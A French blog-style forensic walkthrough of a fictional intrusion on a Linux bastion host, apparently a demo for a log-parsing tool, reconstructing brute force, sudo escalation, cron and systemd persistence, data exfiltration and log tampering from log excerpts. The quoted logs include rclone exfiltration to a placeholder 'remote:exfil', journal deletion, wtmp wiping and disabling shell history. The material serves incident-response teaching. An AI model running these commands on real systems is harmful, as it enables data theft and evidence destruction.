Skip to content

Intrusion Linux : une investigation pas à pas des journaux

Investigation des journaux d’un bastion synthétique : essais de mots de passe SSH, nouvelle IP, sudo -i, persistance cron et systemd, journaux altérés.

Publié le 6 min de lecture

En bref. Cette investigation utilise l’exemple synthétique intégré à Linux Log Parser (cliquez sur Essayer un exemple). L’hôte est fin-jump-01, un bastion Ubuntu 24.04 en UTC. En 52 minutes, le 14 septembre 2026, un compte de service est pris en main après des essais de mots de passe, utilisé pour ouvrir un shell root, doté de deux mécanismes de persistance, utilisé pour copier des données financières, puis partiellement effacé des journaux. Chaque étape est visible dans au moins deux sources indépendantes. Tous les noms, adresses et événements sont fictifs.

Les éléments de preuve

L’exemple correspond à ce que produit le guide de collecte : auth.log avec deux générations tournées (auth.log.1, auth.log.2.gz), syslog, system.journal et user-1000.journal, audit.log (ENRICHED, avec une règle execve de clé exec), wtmp, btmp, lastlog, plus /etc/passwd, /etc/hostname et /etc/timezone. auth.log utilise le format RFC 3339 haute précision d’Ubuntu 24.04 : aucune déduction de l’année n’est nécessaire.

Comptes : maria.chen (UID 1000), une administratrice, et svc_backup (UID 1001), un compte de service.

Établir la normalité

Avant l’incident, le schéma est régulier. Chaque nuit à 02:00, svc_backup se connecte depuis le serveur de sauvegarde 192.0.2.20 avec la même clé ED25519 :

2026-09-14T02:00:03.432000+00:00 fin-jump-01 sshd[2348]: Accepted publickey for svc_backup from 192.0.2.20 port 50518 ssh2: ED25519 SHA256:Qm9ndXNL...

Le jour même, maria.chen se connecte depuis 192.0.2.10 à 09:12:40 (session logind 6), exécute sudo apt list --upgradable et se déconnecte à 09:41:08. Savoir à quoi ressemble la normalité, c’est ce qui fait ressortir l’heure qui suit.

De 09:58 à 10:01 : essais de mots de passe

De 09:58:03 à 10:01:39, 198.51.100.23 effectue 15 tentatives : admin, oracle, test, ubuntu et backup (des comptes qui n’existent pas, d’où Invalid user), puis root trois fois et svc_backup six fois. Chaque tentative correspond à un PID sshd avec une ligne pam_unix(sshd:auth): authentication failure, une ligne Failed password et une déconnexion [preauth].

Les mêmes tentatives figurent dans le journal, dans btmp et dans audit.log sous forme d’enregistrements USER_AUTH en échec. L’outil les compte par source au lieu de les additionner : le constat indique 15, pas 45 ni 60.

10:02:11 : la connexion

2026-09-14T10:02:11.482113+00:00 fin-jump-01 sshd[3071]: Accepted password for svc_backup from 203.0.113.45 port 51544 ssh2
2026-09-14T10:02:11.491113+00:00 fin-jump-01 sshd[3071]: pam_unix(sshd:session): session opened for user svc_backup(uid=1001) by svc_backup(uid=0)
2026-09-14T10:02:11.494113+00:00 fin-jump-01 systemd-logind[845]: New session 7 of user svc_backup.

Trois choses clochent à la fois :

  1. Elle arrive environ 30 secondes après la dernière tentative échouée sur le même compte, mais depuis une autre adresse : 203.0.113.45. Le constat essais de mots de passe puis succès couvre explicitement ce cas : le mot de passe a pu être deviné depuis une machine et utilisé depuis une autre, ou être déjà connu.
  2. L’adresse est nouvelle pour ce compte ; toutes les connexions précédentes venaient de 192.0.2.20.
  3. La méthode est password, pour un compte qui utilisait toujours une clé.

audit.log enregistre l’événement LOGIN qui définit auid=1001 ses=114. À partir de là, ses=114 est le fil à tirer. La vue des sessions fusionne le PID sshd 3071, la session logind 7 et la session d’audit 114 en une seule session.

De 10:02 à 10:04 : reconnaissance et sudo

Grâce à la règle execve, audit.log montre id, uname et cat /etc/passwd sous auid=1001 ses=114, puis deux appels sudo qu’auth.log contient aussi :

10:03:30 sudo:   svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=list
10:04:02 sudo:   svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=/bin/bash
10:04:02 sudo:   pam_unix(sudo-i:session): session opened for user root(uid=0) by svc_backup(uid=1001)

COMMAND=list correspond à sudo -l ; le second est sudo -i, un shell root interactif. auth.log ne voit plus rien jusqu’à la fermeture du shell à 10:09:15.

De 10:05 à 10:12 : dans le shell root, et la persistance

auditd continue de voir, car auid survit à sudo. Enregistrements avec uid=0 mais auid=1001 ses=114 :

  • 10:05:10 passwd, puis un enregistrement USER_CHAUTHTOK et la ligne auth.log password changed for svc_backup. L’intrus a changé le mot de passe du compte par lequel il est entré, ce qui verrouille le propriétaire dehors et préserve l’accès.
  • 10:07:30 crontab -u svc_backup /tmp/.c. syslog confirme crontab[3141]: (root) REPLACE (svc_backup) et, à 10:08, le rechargement de crontabs/svc_backup par cron. La tâche s’exécute à 10:30:01 : CRON[3402]: (svc_backup) CMD (/home/svc_backup/.local/bin/sync-agent --quiet).
  • Après avoir quitté le shell root, de nouveau en tant qu’utilisateur : mkdir -p ~/.config/systemd/user, cp /tmp/.s/sync-agent.service dans ce dossier, systemctl --user daemon-reload, puis systemctl --user enable --now sync-agent.service. À 10:12:30, syslog montre le gestionnaire utilisateur systemd[3075] démarrant sync-agent.service, une unité qui n’avait jamais tourné : un service utilisateur systemd.

L’outil les signale sous Persistance cron ou systemd et Unités démarrées pour la première fois. Les journaux prouvent la modification, pas le contenu : la crontab et le fichier d’unité doivent être lus sur l’hôte.

De 10:18 à 10:31 : préparation et copie des données

10:18:40 sudo: svc_backup : ... USER=root ; COMMAND=/usr/bin/tar czf /tmp/.f.tgz /srv/finance/Q3 close
10:20:05 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance remote:exfil
10:31:44 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance/Q3 close remote:exfil

La ligne sudo ne permet pas de savoir si /srv/finance/Q3 close est un chemin ou deux. L’enregistrement d’audit EXECVE, si : son dernier argument est encodé en hexadécimal parce qu’il contient une espace, et se décode en un seul chemin, /srv/finance/Q3 close. rclone apparaît sous Outils fréquents dans les intrusions. (La destination remote:exfil est un espace réservé dans cet exemple synthétique.)

De 10:44 à 10:45 : effacer les traces

10:44:10 sudo: ... COMMAND=/usr/bin/rm -f /var/log/journal/4f1c2a9d7e3b4c5d8a6f0e1d2c3b4a59/user-1001.journal
10:44:30 sudo: ... COMMAND=/usr/bin/python3 /tmp/.s/tidy.py /var/log/wtmp svc_backup

et, à 10:45:02 dans audit.log, ln liant ~/.bash_history à /dev/null. Trois conséquences, trois constats :

  • Trous dans le journal. Le journal utilisateur de l’UID 1001 a disparu, et avec lui les entrées que journald avait numérotées pour lui. Les numéros de séquence de system.journal les sautent. Les lignes du gestionnaire utilisateur (systemd[3075], sync-agent) manquent dans le journal mais figurent toujours dans /var/log/syslog, car rsyslog en avait reçu une copie.
  • Enregistrement wtmp effacé. tidy.py a écrasé avec des zéros l’enregistrement de connexion de svc_backup. last ne liste plus la session. L’outil signale un enregistrement mis à zéro, et Connexions interactives sans enregistrement wtmp pour la session 7. Pourtant, lastlog contient toujours la dernière connexion de l’UID 1001 : 10:02:11 depuis 203.0.113.45.
  • Commandes d’effacement de journaux. Le rm d’un fichier journal, le script lancé contre wtmp et le lien de l’historique sont tous listés, avec la session dont ils proviennent.

10:50:22 : déconnexion

Disconnected from user svc_backup 203.0.113.45, pam_unix(sshd:session): session closed, Removed session 7, et un enregistrement d’audit USER_END avec ses=114. La session a duré 48 minutes.

Ce que dit le rapport

  • Accès initial : connexion par mot de passe à svc_backup depuis 203.0.113.45 à 10:02:11 UTC, après 15 tentatives échouées depuis 198.51.100.23 contre sept noms de comptes.
  • Privilèges : sudo -l, puis sudo -i à 10:04:02 ; les commandes du shell root sont attribuées grâce à auid=1001 ses=114.
  • Persistance : crontab utilisateur (exécute sync-agent --quiet, première exécution à 10:30:01) et unité systemd utilisateur sync-agent.service (10:12:30). Mot de passe de svc_backup changé à 10:05.
  • Collecte et transfert : tar de /srv/finance/Q3 close, copies rclone à 10:20 et 10:31.
  • Anti-forensique : journal utilisateur supprimé, enregistrement wtmp effacé, historique du shell désactivé. Chacun est contredit par une autre source : syslog, lastlog, auth.log, audit.log.
  • Actions : désactiver l’entrée cron et l’unité utilisateur, réinitialiser le mot de passe et les clés du compte, revoir les droits sudo de svc_backup, vérifier ce que rclone était configuré pour joindre, et étendre la recherche aux hôtes qui font confiance à celui-ci.

À vous de jouer

Ouvrez Linux Log Parser, cliquez sur Essayer un exemple, et utilisez la fenêtre de l’incident de l’exemple comme plage temporelle. Les constats, la chronologie filtrée sur svc_backup et la vue de la session 7 reproduisent chacune des étapes ci-dessus. Le guide de référence explique pourquoi chaque source voit ce qu’elle voit.

Articles liés

Reconstituer les commandes depuis audit.log : regroupement par événement, arguments EXECVE réassemblés, décodage hexadécimal, auid et ses à travers sudo.
Lire /var/log/auth.log et /var/log/secure : force brute et connexions SSH, shells root via sudo et su, mots de passe, comptes et formats d’heure.
Prouver que des journaux Linux ont été modifiés ou supprimés : trous de seqnum, lignes absentes d’auth.log, wtmp effacé, démons arrêtés, commandes d’effacement.